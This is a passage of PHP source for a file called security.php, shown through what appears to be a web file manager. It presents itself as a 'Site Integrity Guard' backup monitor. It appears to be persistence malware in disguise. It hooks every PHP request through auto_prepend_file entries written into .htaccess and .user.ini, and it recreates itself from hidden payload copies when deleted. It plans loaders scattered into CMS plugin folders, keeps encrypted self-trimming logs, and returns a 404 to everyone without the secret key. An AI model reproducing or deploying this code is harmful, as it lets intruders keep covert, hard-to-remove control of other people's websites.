/
home
/
devanchordigital-henkelman
/
htdocs
/
henkelman.devanchordigital.com.au
/
up file
home
<?php /** * security.php — Site Integrity Guard v3.1 * CMS-agnostic file integrity monitor with multi-location backups, * encrypted self-protection seeds, distributed loader network, * encrypted self-erasing logs, and EN/ID/TR UI. * * Install: * 1) Upload to your site root. * 2) Open in browser: https://yoursite.com/security.php * 3) Bookmark the auto-generated URL shown once. Done. */ // ============================================================================= // CONFIG // ============================================================================= $SG_CONFIG = [ 'protected_files' => ['index.php', 'index.html', '.htaccess'], 'backup_locations' => [ __DIR__ . '/.sg_vault_a', __DIR__ . '/.sg_vault_b', __DIR__ . '/.sg_vault_c', ], 'encrypted_seed_paths' => [ __DIR__ . '/.sg_seed_a.dat', __DIR__ . '/.sg_seed_b.dat', __DIR__ . '/.sg_seed_c.dat', ], 'payload_paths' => [ __DIR__ . '/.sg_payload_a.dat', __DIR__ . '/.sg_payload_b.dat', __DIR__ . '/.sg_payload_c.dat', __DIR__ . '/.sg_payload_d.dat', __DIR__ . '/.sg_payload_e.dat', ], 'loader_target_count' => 30, 'loader_max_scan' => 80, 'loader_scan_depth' => 3, 'backup_versions' => 7, 'refresh_seconds' => 5, 'recovery_stub_path' => __DIR__ . '/.sg_recovery.php', 'user_ini_path' => __DIR__ . '/.user.ini', 'tick_throttle' => 5, // .sg_recovery.php full-check every N seconds 'log_max_entries' => 100, 'log_max_bytes' => 100000, 'state_file' => __DIR__ . '/.sg_state.dat', 'log_file' => __DIR__ . '/.sg_vault_a/.sg_log.enc', 'master_key_file' => __DIR__ . '/.sg_master.key', 'init_marker' => __DIR__ . '/.sg_initialized', 'token_param' => 'k', 'lang_cookie' => 'sg_lang', 'default_lang' => 'en', ]; // ============================================================================= // BOOT // ============================================================================= @ini_set('display_errors', '0'); date_default_timezone_set('UTC'); // Headers only set when NOT in headless mode (auto_prepend'den çağrılıyorsa parent sayfa // header'larını bozma — özellikle noindex Google'a sayfayı saklatır) if (!defined('SG_HEADLESS') || !SG_HEADLESS) { if (!headers_sent()) { header('X-Robots-Tag: noindex, nofollow'); header('X-Frame-Options: DENY'); header('X-Content-Type-Options: nosniff'); header('Referrer-Policy: no-referrer'); } } // ============================================================================= // I18N — EN / ID / TR // ============================================================================= $SG_STRINGS = [ 'en' => [ 'app_title' => 'Site Integrity Guard', 'auto_refresh' => 'Auto-refresh', 'installed_label' => 'Installed', 'sec_recovery' => 'Auto-Recovery Health (instant restore)', 'recovery_stub' => 'Recovery stub', 'recovery_htaccess'=> '.htaccess rewrite (index-missing fallback)', 'recovery_prepend' => '.htaccess auto_prepend (Apache/LiteSpeed)', 'recovery_userini' => '.user.ini auto_prepend (PHP-FPM)', 'recovery_lasttick'=> 'Last auto-tick', 'recovery_help' => 'These triggers run protection BEFORE any of your PHP code, and intercept the case where index.php is deleted (visitors get instant restore instead of a 404). If any line shows MISSING, your hosting may not support that hook — the others still work.', 'banner_green' => 'All systems secure. %d loaders active, %d payloads ready.', 'banner_red' => 'WARNING — active issues detected, review the tables below.', 'banner_yellow' => 'System active, some items need verification.', 'card_protected' => 'Protected Files', 'card_restored' => 'Restored', 'card_problems' => 'Problems', 'card_loader_net' => 'Loader Network', 'card_payload' => 'Payload', 'card_enc_seed' => 'Encrypted Seed', 'card_backup_loc' => 'Backup Locations', 'sec_manual' => 'Manual Actions (optional — everything is automatic)', 'sec_protected' => 'Protected Files (auto-restore active)', 'sec_loader_net' => 'Loader Network (%d/%d)', 'sec_self_protect' => 'Self-Protection Payloads (read by loaders) + Encrypted Seeds', 'sec_backup_loc' => 'Backup Locations', 'sec_event_log' => 'Event Log (encrypted, last %d)', 'sec_system' => 'System', 'btn_refresh_backups' => 'Refresh Backups', 'btn_expand_loaders' => 'Expand Loader Network', 'btn_regen_seeds' => 'Regenerate Seeds/Payloads', 'btn_wipe_log' => 'Wipe Log', 'confirm_wipe_log' => 'Wipe log?', 'col_file' => 'File', 'col_status' => 'Status', 'col_last_action' => 'Last Action', 'col_backups_per_loc' => 'Backups (per location)', 'col_last_check' => 'Last Check', 'col_type' => 'Type', 'col_exists' => 'Exists?', 'col_current' => 'Current', 'col_valid' => 'Valid', 'col_location' => 'Location', 'col_size' => 'Size', 'col_time' => 'Time', 'col_level' => 'Level', 'col_message' => 'Message', 'pill_active' => 'active', 'pill_broken' => 'BROKEN', 'pill_missing' => 'MISSING', 'pill_present' => 'present', 'pill_current' => 'current', 'pill_outdated' => 'outdated', 'pill_ok' => 'OK', 'help_protected' => 'If you need to intervene, copy a .bak from .sg_vault_*/ over the original file via FTP.', 'help_loader_net' => 'If security.php is deleted, any of these loaders will auto-restore it from the nearest payload on the next request. Deleted or modified loaders are auto-repaired whenever this dashboard loads.', 'no_events' => 'No events yet.', 'sys_cms' => 'CMS', 'sys_write_perm' => 'Write permission (root)', 'sys_loader_target' => 'Loader target', 'sys_reset' => 'Reset', 'sys_reset_desc' => 'Delete <code>.sg_master.key</code> and <code>.sg_initialized</code> via FTP → setup screen reappears with a new key.', 'flash_csrf' => 'CSRF token mismatch', 'flash_backup_ok' => '%d files backed up across all locations', 'flash_seeds_ok' => 'Seeds and payloads regenerated', 'flash_loaders_ok' => '%d loaders active', 'flash_log_wiped' => 'Log wiped', 'footer' => 'Site Integrity Guard v3.1 · zero-setup · encrypted state & logs · distributed loaders', // First-visit page 'fv_title' => 'Site Integrity Guard — Active', 'fv_sub' => 'All system protections (backups, loader network, payloads) are already running. I just need to give you your bookmark URL.', 'fv_warn' => '<b>THIS PAGE IS SHOWN ONLY ONCE.</b> Bookmark the URL below right now or save it somewhere safe. You will use this URL to access the dashboard. This page will not appear again — everyone else gets a plain 404.', 'fv_btn' => 'Open Dashboard and Bookmark', 'fv_step1' => 'Click the button above → Dashboard opens.', 'fv_step2' => 'Press <b>Ctrl+D</b> (Mac: Cmd+D) to bookmark.', 'fv_step3' => 'Done. Nothing else to configure, ever.', 'fv_lost' => '<b>Lost the URL?</b> Open <code>.sg_master.key</code> on your server via FTP/SSH — use that value in the URL format: <code>security.php?k=KEY</code>.<br><b>To fully reset:</b> Delete <code>.sg_master.key</code> and <code>.sg_initialized</code> via FTP. The setup screen reappears with a new key.', 'lang_label' => 'Language', ], 'id' => [ 'app_title' => 'Site Integrity Guard', 'auto_refresh' => 'Auto-refresh', 'installed_label' => 'Terpasang', 'sec_recovery' => 'Kesehatan Auto-Recovery (restore instan)', 'recovery_stub' => 'Recovery stub', 'recovery_htaccess'=> '.htaccess rewrite (fallback saat index hilang)', 'recovery_prepend' => '.htaccess auto_prepend (Apache/LiteSpeed)', 'recovery_userini' => '.user.ini auto_prepend (PHP-FPM)', 'recovery_lasttick'=> 'Auto-tick terakhir', 'recovery_help' => 'Trigger ini menjalankan proteksi SEBELUM kode PHP Anda, dan menangkap kasus saat index.php dihapus (pengunjung mendapat restore instan, bukan 404). Jika ada baris menunjukkan TIDAK ADA, hosting Anda mungkin tidak mendukung hook tersebut — yang lain tetap bekerja.', 'banner_green' => 'Semua sistem aman. %d loader aktif, %d payload siap.', 'banner_red' => 'PERINGATAN — ada masalah aktif, periksa tabel di bawah.', 'banner_yellow' => 'Sistem aktif, beberapa item perlu diverifikasi.', 'card_protected' => 'File Terlindungi', 'card_restored' => 'Dipulihkan', 'card_problems' => 'Bermasalah', 'card_loader_net' => 'Jaringan Loader', 'card_payload' => 'Payload', 'card_enc_seed' => 'Seed Terenkripsi', 'card_backup_loc' => 'Lokasi Backup', 'sec_manual' => 'Aksi Manual (opsional — semuanya sudah otomatis)', 'sec_protected' => 'File Terlindungi (auto-restore aktif)', 'sec_loader_net' => 'Jaringan Loader (%d/%d)', 'sec_self_protect' => 'Payload Self-Proteksi (dibaca loader) + Seed Terenkripsi', 'sec_backup_loc' => 'Lokasi Backup', 'sec_event_log' => 'Log Peristiwa (terenkripsi, %d terakhir)', 'sec_system' => 'Sistem', 'btn_refresh_backups' => 'Perbarui Backup', 'btn_expand_loaders' => 'Perluas Jaringan Loader', 'btn_regen_seeds' => 'Regenerasi Seed/Payload', 'btn_wipe_log' => 'Hapus Log', 'confirm_wipe_log' => 'Hapus log?', 'col_file' => 'File', 'col_status' => 'Status', 'col_last_action' => 'Aksi Terakhir', 'col_backups_per_loc' => 'Backup (per lokasi)', 'col_last_check' => 'Cek Terakhir', 'col_type' => 'Tipe', 'col_exists' => 'Ada?', 'col_current' => 'Terkini', 'col_valid' => 'Valid', 'col_location' => 'Lokasi', 'col_size' => 'Ukuran', 'col_time' => 'Waktu', 'col_level' => 'Level', 'col_message' => 'Pesan', 'pill_active' => 'aktif', 'pill_broken' => 'RUSAK', 'pill_missing' => 'TIDAK ADA', 'pill_present' => 'ada', 'pill_current' => 'terkini', 'pill_outdated' => 'usang', 'pill_ok' => 'OK', 'help_protected' => 'Jika perlu intervensi, salin file .bak dari .sg_vault_*/ ke posisi file asli via FTP.', 'help_loader_net' => 'Jika security.php dihapus, salah satu loader ini akan memulihkannya secara otomatis dari payload terdekat pada request berikutnya. Loader yang dihapus atau dimodifikasi akan diperbaiki otomatis setiap kali dashboard ini dimuat.', 'no_events' => 'Belum ada peristiwa.', 'sys_cms' => 'CMS', 'sys_write_perm' => 'Izin tulis (root)', 'sys_loader_target' => 'Target loader', 'sys_reset' => 'Reset', 'sys_reset_desc' => 'Hapus <code>.sg_master.key</code> dan <code>.sg_initialized</code> via FTP → layar setup muncul lagi dengan kunci baru.', 'flash_csrf' => 'Token CSRF tidak cocok', 'flash_backup_ok' => '%d file di-backup ke semua lokasi', 'flash_seeds_ok' => 'Seed dan payload diregenerasi', 'flash_loaders_ok' => '%d loader aktif', 'flash_log_wiped' => 'Log dihapus', 'footer' => 'Site Integrity Guard v3.1 · tanpa setup · state & log terenkripsi · loader terdistribusi', 'fv_title' => 'Site Integrity Guard — Aktif', 'fv_sub' => 'Semua proteksi sistem (backup, jaringan loader, payload) sudah berjalan. Saya hanya perlu memberi Anda URL bookmark.', 'fv_warn' => '<b>HALAMAN INI HANYA DITAMPILKAN SEKALI.</b> Bookmark URL di bawah sekarang juga atau simpan di tempat aman. URL ini untuk mengakses dashboard. Halaman ini tidak akan muncul lagi — orang lain hanya akan melihat 404.', 'fv_btn' => 'Buka Dashboard dan Bookmark', 'fv_step1' => 'Klik tombol di atas → Dashboard terbuka.', 'fv_step2' => 'Tekan <b>Ctrl+D</b> (Mac: Cmd+D) untuk bookmark.', 'fv_step3' => 'Selesai. Tidak perlu konfigurasi apapun lagi.', 'fv_lost' => '<b>Kehilangan URL?</b> Buka file <code>.sg_master.key</code> di server via FTP/SSH — gunakan nilai itu dalam format URL: <code>security.php?k=KUNCI</code>.<br><b>Untuk reset total:</b> Hapus <code>.sg_master.key</code> dan <code>.sg_initialized</code> via FTP. Layar setup muncul lagi dengan kunci baru.', 'lang_label' => 'Bahasa', ], 'tr' => [ 'app_title' => 'Site Integrity Guard', 'auto_refresh' => 'Auto-refresh', 'installed_label' => 'Kurulum', 'sec_recovery' => 'Auto-Recovery Sağlığı (anlık restore)', 'recovery_stub' => 'Recovery stub', 'recovery_htaccess'=> '.htaccess rewrite (index silinince fallback)', 'recovery_prepend' => '.htaccess auto_prepend (Apache/LiteSpeed)', 'recovery_userini' => '.user.ini auto_prepend (PHP-FPM)', 'recovery_lasttick'=> 'Son auto-tick', 'recovery_help' => 'Bu trigger\'lar senin PHP kodundan ÖNCE çalışır ve index.php silinme durumunu yakalar (ziyaretçi 404 yerine anlık restore alır). Bir satır YOK gösteriyorsa hosting o hook\'u desteklemiyor olabilir — diğerleri yine çalışır.', 'banner_green' => 'Tüm sistemler güvende. %d loader aktif, %d payload hazır.', 'banner_red' => 'DİKKAT — aktif sorun var, aşağıdaki tabloları incele.', 'banner_yellow' => 'Sistem aktif, bazı kalemler doğrulanmalı.', 'card_protected' => 'Korunan Dosya', 'card_restored' => 'Geri Yüklenen', 'card_problems' => 'Problemli', 'card_loader_net' => 'Loader Ağı', 'card_payload' => 'Payload', 'card_enc_seed' => 'Şifreli Seed', 'card_backup_loc' => 'Backup Konumu', 'sec_manual' => 'Manuel İşlemler (opsiyonel — her şey zaten otomatik)', 'sec_protected' => 'Korunan Dosyalar (otomatik geri yükleme aktif)', 'sec_loader_net' => 'Loader Ağı (%d/%d)', 'sec_self_protect' => 'Self-Koruma Payload\'ları (loader\'ların okuduğu) + Şifreli Seed\'ler', 'sec_backup_loc' => 'Backup Konumları', 'sec_event_log' => 'Olay Logu (şifreli, son %d)', 'sec_system' => 'Sistem', 'btn_refresh_backups' => 'Yedekleri Yenile', 'btn_expand_loaders' => 'Loader Ağını Genişlet', 'btn_regen_seeds' => 'Seed/Payload Yenile', 'btn_wipe_log' => 'Logu Sil', 'confirm_wipe_log' => 'Logu sil?', 'col_file' => 'Dosya', 'col_status' => 'Durum', 'col_last_action' => 'Son Aksiyon', 'col_backups_per_loc' => 'Yedek (konum başı)', 'col_last_check' => 'Son Kontrol', 'col_type' => 'Tip', 'col_exists' => 'Var Mı?', 'col_current' => 'Güncel', 'col_valid' => 'Geçerli', 'col_location' => 'Konum', 'col_size' => 'Boyut', 'col_time' => 'Zaman', 'col_level' => 'Seviye', 'col_message' => 'Mesaj', 'pill_active' => 'aktif', 'pill_broken' => 'BOZUK', 'pill_missing' => 'YOK', 'pill_present' => 'mevcut', 'pill_current' => 'güncel', 'pill_outdated' => 'eski', 'pill_ok' => 'OK', 'help_protected' => 'Müdahale gerekirse FTP\'den .sg_vault_*/ klasöründeki .bak dosyasını dosyanın yerine koy.', 'help_loader_net' => 'security.php silinirse, bu loader\'lardan herhangi biri bir sonraki istekte payload\'tan otomatik geri yükler. Silinen/değiştirilen loader bu dashboard her açıldığında otomatik tamir edilir.', 'no_events' => 'Henüz olay yok.', 'sys_cms' => 'CMS', 'sys_write_perm' => 'Yazma izni (root)', 'sys_loader_target' => 'Loader hedef', 'sys_reset' => 'Sıfırlama', 'sys_reset_desc' => 'FTP\'den <code>.sg_master.key</code> ve <code>.sg_initialized</code>\'i sil → setup ekranı yeni anahtarla tekrar çıkar.', 'flash_csrf' => 'CSRF token uyuşmadı', 'flash_backup_ok' => '%d dosya tüm konumlara yedeklendi', 'flash_seeds_ok' => 'Seed ve payload\'lar yenilendi', 'flash_loaders_ok' => '%d loader aktif', 'flash_log_wiped' => 'Log temizlendi', 'footer' => 'Site Integrity Guard v3.1 · sıfır kurulum · şifreli state & log · dağıtık loader\'lar', 'fv_title' => 'Site Integrity Guard — Aktif', 'fv_sub' => 'Sistemin tüm korumaları (backup, loader ağı, payload\'lar) çalışıyor. Sana sadece bookmark URL\'ini vermem yeterli.', 'fv_warn' => '<b>BU SAYFA SADECE BİR KEZ GÖSTERİLİYOR.</b> Aşağıdaki URL\'i hemen bookmark\'a ekle veya bir yere kaydet. Bu URL ile dashboard\'a erişeceksin. Bir daha bu sayfa açılmayacak — başka herkes 404 görecek.', 'fv_btn' => 'Dashboard\'ı Aç ve Bookmark\'a Ekle', 'fv_step1' => 'Yukarıdaki butona tıkla → Dashboard açılır.', 'fv_step2' => 'Tarayıcıda <b>Ctrl+D</b> (Mac: Cmd+D) ile bookmark\'a ekle.', 'fv_step3' => 'Bitti. Bir daha hiçbir şey ayarlamana gerek yok.', 'fv_lost' => '<b>URL\'i kaybettin mi?</b> FTP/SSH ile sunucudaki <code>.sg_master.key</code> dosyasını aç — içindeki değeri şu formatta kullan: <code>security.php?k=ANAHTAR</code>.<br><b>Tamamen sıfırlamak için:</b> FTP\'den <code>.sg_master.key</code> ve <code>.sg_initialized</code> dosyalarını sil. Yeni anahtarla bu setup ekranı tekrar çıkar.', 'lang_label' => 'Dil', ], ]; // Detect language: ?lang= → cookie → default $SG_LANG = $SG_CONFIG['default_lang']; $SG_IS_HEADLESS = defined('SG_HEADLESS') && SG_HEADLESS; if (isset($_GET['lang']) && isset($SG_STRINGS[$_GET['lang']])) { $SG_LANG = $_GET['lang']; if (!$SG_IS_HEADLESS && !headers_sent()) { @setcookie($SG_CONFIG['lang_cookie'], $SG_LANG, time() + 31536000, '/'); } $_COOKIE[$SG_CONFIG['lang_cookie']] = $SG_LANG; } elseif (isset($_COOKIE[$SG_CONFIG['lang_cookie']]) && isset($SG_STRINGS[$_COOKIE[$SG_CONFIG['lang_cookie']]])) { $SG_LANG = $_COOKIE[$SG_CONFIG['lang_cookie']]; } function t($key, ...$args) { global $SG_STRINGS, $SG_LANG; $str = $SG_STRINGS[$SG_LANG][$key] ?? $SG_STRINGS['en'][$key] ?? $key; return $args ? vsprintf($str, $args) : $str; } // ============================================================================= // MASTER KEY (auto-generated) // ============================================================================= function sg_get_master_key() { global $SG_CONFIG; if (file_exists($SG_CONFIG['master_key_file'])) { $k = trim(@file_get_contents($SG_CONFIG['master_key_file'])); if (strlen($k) >= 32) return $k; } $key = bin2hex(random_bytes(24)); @file_put_contents($SG_CONFIG['master_key_file'], $key, LOCK_EX); @chmod($SG_CONFIG['master_key_file'], 0600); @unlink($SG_CONFIG['init_marker']); sg_install_root_htaccess(); return $key; } function sg_install_root_htaccess() { global $SG_CONFIG; $ht = __DIR__ . '/.htaccess'; $existing = file_exists($ht) ? (string)@file_get_contents($ht) : ''; $original = $existing; $recoveryAbs = $SG_CONFIG['recovery_stub_path']; $recoveryAbsEsc = str_replace('"', '\\"', $recoveryAbs); // 1. Deny direct access to SG internal files if (strpos($existing, '# SG_DENY_KEYS_START') === false) { $existing .= "\n# SG_DENY_KEYS_START\n" . "<FilesMatch \"^\\.sg_\">\n Require all denied\n Deny from all\n</FilesMatch>\n" . "<FilesMatch \"\\.(key|enc|dat|log)$\">\n Require all denied\n Deny from all\n</FilesMatch>\n" . "# SG_DENY_KEYS_END\n"; } // 2. Rewrite: when index.php/index.html missing → trigger recovery stub if (strpos($existing, '# SG_RECOVERY_START') === false) { $existing .= "\n# SG_RECOVERY_START\n" . "<IfModule mod_rewrite.c>\n" . " RewriteEngine On\n" . " RewriteCond %{REQUEST_URI} ^/?$\n" . " RewriteCond %{DOCUMENT_ROOT}/index.php !-f\n" . " RewriteCond %{DOCUMENT_ROOT}/index.html !-f\n" . " RewriteRule ^ /.sg_recovery.php [E=SG_FALLBACK:1,L]\n" . "</IfModule>\n" . "# SG_RECOVERY_END\n"; } // 3. auto_prepend_file: every PHP request triggers recovery first (Apache + LiteSpeed) if (strpos($existing, '# SG_PREPEND_START') === false) { $existing .= "\n# SG_PREPEND_START\n" . "<IfModule mod_php.c>\n php_value auto_prepend_file \"$recoveryAbsEsc\"\n</IfModule>\n" . "<IfModule mod_php5.c>\n php_value auto_prepend_file \"$recoveryAbsEsc\"\n</IfModule>\n" . "<IfModule mod_php7.c>\n php_value auto_prepend_file \"$recoveryAbsEsc\"\n</IfModule>\n" . "<IfModule mod_php8.c>\n php_value auto_prepend_file \"$recoveryAbsEsc\"\n</IfModule>\n" . "<IfModule lsapi_module>\n php_value auto_prepend_file \"$recoveryAbsEsc\"\n</IfModule>\n" . "# SG_PREPEND_END\n"; } if ($existing !== $original) @file_put_contents($ht, $existing, LOCK_EX); } // .user.ini → for PHP-FPM (cPanel/Plesk) which doesn't honor mod_php directives function sg_install_user_ini() { global $SG_CONFIG; $ini = $SG_CONFIG['user_ini_path']; $recoveryAbs = $SG_CONFIG['recovery_stub_path']; $existing = file_exists($ini) ? (string)@file_get_contents($ini) : ''; if (strpos($existing, '; SG_PREPEND_START') !== false) return; $existing .= "\n; SG_PREPEND_START\nauto_prepend_file = \"$recoveryAbs\"\n; SG_PREPEND_END\n"; @file_put_contents($ini, $existing, LOCK_EX); } // .sg_recovery.php — runs on every PHP request via auto_prepend, AND on missing-index fallback function sg_recovery_stub_body() { return <<<'PHP' <?php /* SG_RECOVERY_V1 — auto-restore stub. Triggered by auto_prepend_file and .htaccess rewrite. */ if (defined('SG_RECOVERY_RAN')) return; define('SG_RECOVERY_RAN', 1); (function () { $ROOT = __DIR__; $req = isset($_SERVER['REQUEST_URI']) ? parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH) : ''; $isSecurityHit = (basename((string)$req) === 'security.php'); $isFallback = !empty($_SERVER['SG_FALLBACK']) || !empty($_SERVER['REDIRECT_SG_FALLBACK']); // 1) ALWAYS: instant restore of security.php + critical entry files (cheap) $security = $ROOT . '/security.php'; if (!file_exists($security)) { foreach (glob($ROOT . '/.sg_payload_*.dat') ?: [] as $p) { $raw = @file_get_contents($p); if (!$raw) continue; $parts = explode("\n", $raw, 3); if (count($parts) !== 3 || $parts[0] !== 'SG_PAYLOAD_V1') continue; $code = @gzinflate(base64_decode($parts[2])); if ($code === false || hash('sha256', $code) !== $parts[1]) continue; @file_put_contents($security, $code, LOCK_EX); @chmod($security, 0644); break; } } // Restore index.php / index.html / .htaccess from latest backup if missing $vaults = glob($ROOT . '/.sg_vault_*', GLOB_ONLYDIR) ?: []; foreach (['index.php', 'index.html', '.htaccess'] as $f) { $abs = $ROOT . '/' . $f; if (file_exists($abs)) continue; $cands = []; $base = preg_replace('/[^A-Za-z0-9._-]/', '_', $f); foreach ($vaults as $v) { foreach (glob($v . '/' . $base . '.*.bak') ?: [] as $b) $cands[] = $b; } if (!$cands) continue; usort($cands, function ($a, $b) { return filemtime($b) - filemtime($a); }); $content = @file_get_contents($cands[0]); if ($content !== false) { @file_put_contents($abs, $content, LOCK_EX); @chmod($abs, 0644); } } // 2) THROTTLED: every N seconds, run full security.php protection in headless mode if (!$isSecurityHit && file_exists($security)) { $tickFile = $ROOT . '/.sg_last_tick'; $last = @file_get_contents($tickFile); $last = $last ? (int)$last : 0; if (time() - $last >= 5) { @file_put_contents($tickFile, (string)time(), LOCK_EX); @chmod($tickFile, 0600); define('SG_HEADLESS', true); // suppress any unexpected output @ob_start(); @include $security; @ob_end_clean(); } } // 3) FALLBACK: when triggered by index-missing rewrite, redirect to / so browser retries if ($isFallback) { if (file_exists($ROOT . '/index.php') || file_exists($ROOT . '/index.html')) { header('Location: /'); exit; } http_response_code(404); echo "<!DOCTYPE html><html><head><title>404</title></head><body><h1>Not Found</h1></body></html>"; exit; } })(); PHP; } function sg_ensure_recovery_stub() { global $SG_CONFIG; $path = $SG_CONFIG['recovery_stub_path']; $body = sg_recovery_stub_body(); $bodyHash = hash('sha256', $body); $cur = file_exists($path) ? @file_get_contents($path) : null; if ($cur === null || hash('sha256', (string)$cur) !== $bodyHash) { @file_put_contents($path, $body, LOCK_EX); @chmod($path, 0644); } } // .htaccess / .user.ini hash baseline normalization — strip SG-managed blocks // so our own additions don't trigger "unauthorized modification" alerts. function sg_baseline_hash($file, $content) { $base = basename($file); if ($base === '.htaccess') { $content = preg_replace('/\n*#\s*SG_\w+_START\b.*?#\s*SG_\w+_END[^\n]*/s', '', (string)$content); } elseif ($base === '.user.ini') { $content = preg_replace('/\n*;\s*SG_\w+_START\b.*?;\s*SG_\w+_END[^\n]*/s', '', (string)$content); } return hash('sha256', (string)$content); } $SG_MASTER_KEY = sg_get_master_key(); // ============================================================================= // HELPERS // ============================================================================= function h($s) { return htmlspecialchars((string)$s, ENT_QUOTES, 'UTF-8'); } function sg_resolve($file) { if (strlen($file) > 1 && ($file[0] === '/' || preg_match('#^[A-Z]:[\\\\/]#i', $file))) return $file; return __DIR__ . DIRECTORY_SEPARATOR . str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $file); } function sg_encrypt($plaintext, $key) { $iv = random_bytes(16); $k = hash('sha256', $key, true); $ct = openssl_encrypt($plaintext, 'AES-256-CBC', $k, OPENSSL_RAW_DATA, $iv); $mac = hash_hmac('sha256', $iv . $ct, $k, true); return base64_encode($iv . $mac . $ct); } function sg_decrypt($payload, $key) { $raw = base64_decode($payload, true); if ($raw === false || strlen($raw) < 48) return false; $iv = substr($raw, 0, 16); $mac = substr($raw, 16, 32); $ct = substr($raw, 48); $k = hash('sha256', $key, true); if (!hash_equals(hash_hmac('sha256', $iv . $ct, $k, true), $mac)) return false; return openssl_decrypt($ct, 'AES-256-CBC', $k, OPENSSL_RAW_DATA, $iv); } // ============================================================================= // STATE (encrypted) // ============================================================================= function sg_load_state() { global $SG_CONFIG, $SG_MASTER_KEY; if (!file_exists($SG_CONFIG['state_file'])) return ['files'=>[], 'loaders'=>[], 'meta'=>['installed'=>time()]]; $raw = @file_get_contents($SG_CONFIG['state_file']); $dec = sg_decrypt(trim($raw), $SG_MASTER_KEY); if ($dec === false) return ['files'=>[], 'loaders'=>[], 'meta'=>['installed'=>time()]]; $d = json_decode($dec, true); if (!is_array($d)) $d = []; $d += ['files'=>[], 'loaders'=>[], 'meta'=>[]]; $d['meta'] += ['installed'=>time()]; return $d; } function sg_save_state($state) { global $SG_CONFIG, $SG_MASTER_KEY; $enc = sg_encrypt(json_encode($state, JSON_UNESCAPED_SLASHES), $SG_MASTER_KEY); @file_put_contents($SG_CONFIG['state_file'], $enc, LOCK_EX); @chmod($SG_CONFIG['state_file'], 0600); } // ============================================================================= // ENCRYPTED LOG // ============================================================================= function sg_log($msg, $level = 'info') { global $SG_CONFIG, $SG_MASTER_KEY; $dir = dirname($SG_CONFIG['log_file']); if (!is_dir($dir)) @mkdir($dir, 0755, true); $entry = json_encode(['t'=>date('c'),'lvl'=>$level,'msg'=>$msg,'ip'=>$_SERVER['REMOTE_ADDR'] ?? '']); $line = sg_encrypt($entry, $SG_MASTER_KEY) . "\n"; @file_put_contents($SG_CONFIG['log_file'], $line, FILE_APPEND | LOCK_EX); @chmod($SG_CONFIG['log_file'], 0600); if (file_exists($SG_CONFIG['log_file']) && filesize($SG_CONFIG['log_file']) > $SG_CONFIG['log_max_bytes']) { $lines = @file($SG_CONFIG['log_file']); if ($lines) @file_put_contents($SG_CONFIG['log_file'], implode('', array_slice($lines, -$SG_CONFIG['log_max_entries'])), LOCK_EX); } } function sg_read_log($limit = 80) { global $SG_CONFIG, $SG_MASTER_KEY; if (!file_exists($SG_CONFIG['log_file'])) return []; $lines = @file($SG_CONFIG['log_file'], FILE_IGNORE_NEW_LINES) ?: []; $lines = array_slice($lines, -$limit); $out = []; foreach (array_reverse($lines) as $l) { $dec = sg_decrypt(trim($l), $SG_MASTER_KEY); if ($dec === false) continue; $e = json_decode($dec, true); if ($e) $out[] = $e; } return $out; } // ============================================================================= // CMS DETECT // ============================================================================= function sg_detect_cms() { $root = __DIR__; $cms = ['name'=>'unknown', 'paths'=>[], 'protected_extras'=>[]]; if (file_exists($root . '/wp-config.php') || file_exists($root . '/wp-load.php') || is_dir($root . '/wp-content')) { $cms['name'] = 'wordpress'; $cms['paths'] = [ 'wp_content' => $root . '/wp-content', 'mu_plugins' => $root . '/wp-content/mu-plugins', 'plugins' => $root . '/wp-content/plugins', 'themes' => $root . '/wp-content/themes', 'uploads' => $root . '/wp-content/uploads', ]; $cms['protected_extras'] = ['wp-config.php', 'wp-load.php', 'wp-settings.php', 'wp-login.php']; } elseif (file_exists($root . '/configuration.php') && is_dir($root . '/administrator')) { $cms['name'] = 'joomla'; $cms['protected_extras'] = ['configuration.php']; } elseif (is_dir($root . '/sites/default') && file_exists($root . '/sites/default/settings.php')) { $cms['name'] = 'drupal'; $cms['protected_extras'] = ['sites/default/settings.php']; } elseif (file_exists($root . '/app/etc/env.php')) { $cms['name'] = 'magento'; $cms['protected_extras'] = ['app/etc/env.php']; } elseif (file_exists($root . '/config.php') && is_dir($root . '/catalog') && is_dir($root . '/admin')) { $cms['name'] = 'opencart'; $cms['protected_extras'] = ['config.php', 'admin/config.php']; } elseif (file_exists($root . '/config/defines.inc.php')) { $cms['name'] = 'prestashop'; $cms['protected_extras'] = ['config/settings.inc.php']; } elseif (file_exists($root . '/artisan')) { $cms['name'] = 'laravel'; $cms['protected_extras'] = ['.env', 'public/index.php']; } return $cms; } // ============================================================================= // DIRS + BACKUP/RESTORE // ============================================================================= function sg_ensure_dirs() { global $SG_CONFIG; foreach ($SG_CONFIG['backup_locations'] as $dir) { if (!is_dir($dir)) @mkdir($dir, 0755, true); if (!file_exists($dir . '/index.html')) @file_put_contents($dir . '/index.html', ''); if (!file_exists($dir . '/.htaccess')) @file_put_contents($dir . '/.htaccess', "Require all denied\nDeny from all\n"); } } function sg_backup_file($file) { global $SG_CONFIG; $abs = sg_resolve($file); if (!file_exists($abs) || !is_readable($abs)) return false; $content = @file_get_contents($abs); if ($content === false) return false; $base = preg_replace('/[^A-Za-z0-9._-]/', '_', basename($file)); $ts = date('Ymd_His'); $stored = 0; foreach ($SG_CONFIG['backup_locations'] as $dir) { if (!is_dir($dir)) @mkdir($dir, 0755, true); if (@file_put_contents($dir . '/' . $base . '.' . $ts . '.bak', $content, LOCK_EX) !== false) { $stored++; $existing = glob($dir . '/' . $base . '.*.bak') ?: []; rsort($existing); foreach (array_slice($existing, $SG_CONFIG['backup_versions']) as $old) @unlink($old); } } return ['hash'=>hash('sha256', $content), 'stored_in'=>$stored]; } function sg_find_latest_backup($file) { global $SG_CONFIG; $base = preg_replace('/[^A-Za-z0-9._-]/', '_', basename($file)); $cands = []; foreach ($SG_CONFIG['backup_locations'] as $dir) foreach ((glob($dir . '/' . $base . '.*.bak') ?: []) as $m) $cands[] = $m; if (!$cands) return null; usort($cands, fn($a, $b) => filemtime($b) <=> filemtime($a)); return $cands[0]; } function sg_count_backups($file) { global $SG_CONFIG; $base = preg_replace('/[^A-Za-z0-9._-]/', '_', basename($file)); $out = []; foreach ($SG_CONFIG['backup_locations'] as $dir) $out[$dir] = count(glob($dir . '/' . $base . '.*.bak') ?: []); return $out; } function sg_restore_file($file) { $abs = sg_resolve($file); $latest = sg_find_latest_backup($file); if (!$latest) { sg_log("Restore failed: no backup for $file", 'error'); return false; } $content = @file_get_contents($latest); if ($content === false) { sg_log("Restore failed: cannot read backup", 'error'); return false; } $dir = dirname($abs); if (!is_dir($dir)) 